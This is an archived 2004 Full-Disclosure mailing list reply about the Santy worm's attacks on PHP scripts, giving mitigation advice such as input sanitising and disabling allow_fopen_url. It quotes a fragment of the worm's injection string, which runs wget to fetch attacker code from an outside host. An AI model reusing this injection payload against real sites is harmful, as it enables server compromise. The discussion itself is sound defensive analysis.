full-disclosure - Re: New Santy-Worm attacks *all* PHP-skripts

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <Pine.LNX.4.58.0412261523100.3179@tiwaz.junet.local>
From: ju at heisec.de (Juergen Schmidt)
Subject: Re: New Santy-Worm attacks *all* PHP-skripts

On Sat, 25 Dec 2004, Pekka Savola wrote:

> On Sat, 25 Dec 2004, Juergen Schmidt wrote:
> > It uses the brasilian Google site to find all kinds of PHP skripts.
> > It parses their URLs and overwrites variables with strings like:
> >
> > 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> > www.visualcoders.net/spybot.txt;...
>
> And AFAICS, this can be prevented by setting register_globals=off in
> php.ini.

Nope -- this only prevents internal variables from being modified by
attackers. As the variable is being listed in search engines, you want to
set them from external parameters. So you have to sanitize them.

Disabling allow_fopen_url protects you against this attack (not against
spying on local files though).

bye, ju

-- 
Juergen Schmidt       Chefredakteur  heise Security     www.heisec.de
Heise Zeitschriften Verlag,    Helstorferstr. 7,       D-30625 Hannover
Tel. +49 511 5352 300      FAX +49 511 5352 417       EMail ju@...sec.de
GPG-Key: 0x38EA4970,  5D7B 476D 84D5 94FF E7C5  67BE F895 0A18 38EA 4970